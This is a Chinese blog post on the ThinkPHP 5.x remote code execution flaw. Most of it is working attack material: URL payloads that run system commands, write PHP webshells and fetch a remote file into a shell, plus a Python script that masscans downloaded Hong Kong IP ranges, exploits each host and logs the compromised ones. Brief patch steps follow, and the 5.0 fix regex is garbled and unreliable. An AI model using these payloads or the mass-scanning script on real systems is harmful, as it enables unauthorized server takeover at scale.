漏洞概况
ThinkPHP是一款国内流行的开源PHP框架,近日被爆出存在可能的远程代码执行漏洞,攻击者可向缓存文件内写入PHP代码,导致远程代码执行。虽然该漏洞利用需要有几个前提条件,但鉴于国内使用ThinkPHP框架的站点数量之多,该漏洞还是存在一定的影响范围。由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。
漏洞影响范围:
Thinkphp 5.1.0 – 5.1.31
Thinkphp 5.0.5 – 5.0.23
漏洞产生原因:
Thinkphp5.x版本(5.0.20)中没有对路由中的控制器进行严格过滤,在存在 admin,index 模块、没有开启强制路由的条件下(默认不开启),导致可以注入恶意代码利用反射类调用命名空间其他任意内置类,完成远程代码执行。
1. /index.php?s=index/\think\Request/input&filter=phpinfo&data=1
2. /index.php?s=index/\think\Request/input&filter=system&data=id
3. /index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
4. /index.php?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
5. /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
6. /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
7. /index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
8. /index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
9. /index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET['joker']);&joker=system("whoami");
10. /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=print_r(file_put_contents(%27xx.php%27,file_get_contents(%27https://www.baidu.com/x.txt%27)))
(先file_get_contents读取远程文件内容为一句话 然后file_put_contents在当前目录下写入文件  而且不带<>)
python批量扫描
调试环境位kali,python2,masscan
- #-*-coding:utf-8-*-
 - import os
 - import re
 - import sys
 - import time
 - import multiprocessing
 - import urllib2
 - import requests
 - import urllib
 - import threading
 - import queue
 -  
 - payload = {
 -     0:r"?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20www_admintony_com",
 -     1:r"?s=index/\think\Request/input&filter=system&data=echo%20www_admintony_com",
 -     2:r"?s=index/\think\view\driver\Php/display&content=%3C?php%20echo%20www_admintony_com;?%3E",
 -     3:r"?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20www_admintony_com",
 -     4:r"?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20echo%20\"www_admintony_com\";?%3E"
 - }
 - headers={'user-agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Mobile Safari/537.36',
 -         'referer':'http://baidu.com'}
 -  
 - class store(threading.Thread):
 -     def __init__(self,queue,proxys,urls):
 -         threading.Thread.__init__(self)
 -         self.queue =queue
 -         self.proxys = proxys
 -         self.urls =urls
 -  
 -     def run(self):
 -         try:
 -             scanThink(self.proxys, self.urls)
 -         except Exception as e:
 -             print(e)
 -         finally:
 -             self.queue.get()
 -             self .queue.task_done()
 - #----------------------------------------------------------------------
 - def main(prots,ip_dic):
 -     """
 -     主函数,处理输入的参数
 -     """
 -     iplist = None
 -     try:
 -         url_file = open('urls.txt','r')
 -         urls = url_file.readlines()
 -         url_file.close()
 -  
 -         iplist=[]
 -         _ipFile=open(ip_dic, 'r').readlines()
 -         for echo in _ipFile:
 -             ip=re.findall(r"\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b", echo)
 -             if ip != []:
 -                 #print ip[0]
 -                 iplist.append(ip[0])
 -         p =0
 -         print "Start test porxy..."
 -         maxTreads=150
 -         q=queue.Queue(maxTreads)
 -         for proxys in iplist:
 -             q.put(proxys)
 -             t=store(q, proxys, urls)
 -             t.start()
 -         q.join()
 -         print("over")
 -     except Exception:
 -         print "[!] The path of the dictionary file is incorrect"
 -         pass
 -         #exit()
 - #----------------------------------------------------------------------
 - def scanThink(ip,urls):
 -     i = 0
 -     flag =False
 -     URL = "http://" + ip.strip()
 -     url = URL + "/" + payload.get(i)
 -     print URL
 -     while i<5:
 -         #print(payload.get(i))
 -         if not flag:
 -             if i<4:
 -                 flag = Requests(url)
 -             elif i==4:
 -                 flag = Requests_write(url,URL)
 -             i = i+1
 -         else:
 -             break
 -     if i!=5:
 -         print  "\033[1;32;41m"+url+"\033[0m"
 -         output = open("good.txt", 'a')
 -         output.write(url+"\n")
 - def Requests(url):
 -     res = requests.get(url,headers=headers,timeout=2)
 -     if 'www_admintony_com' in res.text and 'echo' not in res.text:
 -         return True
 -     else:
 -         return False
 -  
 - def Requests_write(url,URL):
 -     # 写shell
 -     requests.get(url,headers=headers,timeout=2)
 -     # 验证是否写入成功
 -     res1 = requests.get(URL+'/shell.php',timeout=2)
 -     if 'www_admintony_com' in res1.text and 'echo' not in res.text:
 -         return True
 -     else:
 -         return False
 - #----------------------------------------------------------------------
 - if __name__ == '__main__':
 -  
 -     prots = ['80']
 -     ip_dic = "proxy.txt"
 -     ipl="http://ipblock.chacuo.net/down/t_txt=c_HK"
 -     req  =urllib2.Request(ipl)
 -     res =urllib2.urlopen(req,timeout=5).read()
 -     #print res
 -     ipd=re.findall(r"\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}\/[0-9]{1,2}\b", res)
 -     #print ipd
 -     for i in ipd[6:]:
 -         print i
 -         for prot in prots:
 -             ########################################
 -             #MASSCAN
 -             os.system("/root/masscan/bin/./masscan %s -p%s --rate 25000 -oX %s --wait 2" % (i,prot,ip_dic))
 -             #######################################
 -             time.sleep(1)
 -             main(prot,ip_dic)
 -             time.sleep(5)
 -     exit()
 
根据扫描出的结果然后手动GETSHELL或者继续完善编写PYTHON直接一部到位
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3C?php%20@eval%28$_POST%5B%27pa%27%5D%29;?%3E
我已测试复现过该漏洞。
具体漏洞分析过程不在详述,已很多文章介绍,
请自行搜索GOOGLE,度娘
安全漏洞手动修正方法
5.1版本
thinkphp/library/think/route/dispatch/Url.php 类的parseUrl方法,解析控制器后加上 添加
if ($controller && !preg_match(‘/^[A-Za-z](\w|\.)*$/’, $controller)) {
throw new HttpException(404, ‘controller not exists:’ . $controller);
}
5.0版本
1、使用composer或者git直接更新
2、在thinkphp/library/think/文件下找到App.php
查找module方法,找到获取控制器名$controller = strip_tags(shr:$result[1] ?: $config[‘default_controller]);
在这句话下面添加一段代码
if (!preg_match(’/1(\w|.)*$/’, $controller)) {
throw new HttpException(404, ‘controller not exists:’ . $controller);
}
漏洞poc
https://github.com/heroanswer/thinkphp_rce_poc
参考链接
https://www.cnblogs.com/bmjoker/p/10110868.html
https://blog.csdn.net/weixin_42476734/article/details/86228944
https://www.ddosi.com/b49/